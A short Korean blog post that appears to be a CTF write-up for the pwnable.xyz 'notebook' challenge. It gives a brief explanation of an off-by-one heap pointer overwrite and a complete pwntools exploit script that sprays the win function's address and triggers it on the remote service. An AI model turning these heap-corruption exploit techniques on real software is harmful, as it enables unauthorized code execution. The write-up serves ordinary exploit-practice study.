pwn/pwnable.xyz
pwnable.xyz / notebook
lok2h4rd
2022. 5. 25. 13:46
off by one이 터져서 할당된 힙의 하위 1byte를 변조해서 원하는 함수가 호출되도록 할 수 있다
로컬이랑 리모트 환경이 달라서 그냥 힙에다가 win함수 뿌려놓고 대충 조건 맞춰줬다
from pwn import *
p = remote("svc.pwnable.xyz", 30035)
#p = process("./notebook", env= {"LD_PRELOAD" : "./alpin-libc-2.24.so "})
#gdb.attach(p)
def make(size, title, note):
p.recvuntil(b"> ")
p.sendline(b"1")
p.recvuntil(b"size: ")
p.sendline(str(size))
p.recvuntil(b"Title: ")
p.sendline(title)
p.recvuntil(b"Note: ")
p.send(note)
def edit(note):
p.recvuntil(b"> ")
p.sendline(b"2")
p.recvuntil(b"note: ")
p.send(note)
def rename_notebook(name):
p.recvuntil(b"> ")
p.sendline(b"4")
p.recvuntil(b"name: ")
p.send(name)
free_got = 0x602018
win = 0x40092c
p.recvuntil(b"notebook: ")
p.sendline(b"AAA")
payload = p64(win) * 64
make(0x200, b"AAA", payload)
payload = b"A" * 127
payload += b"\xf0"
rename_notebook(payload)
p.recvuntil(b"> ")
p.sendline(b"2")
p.interactive()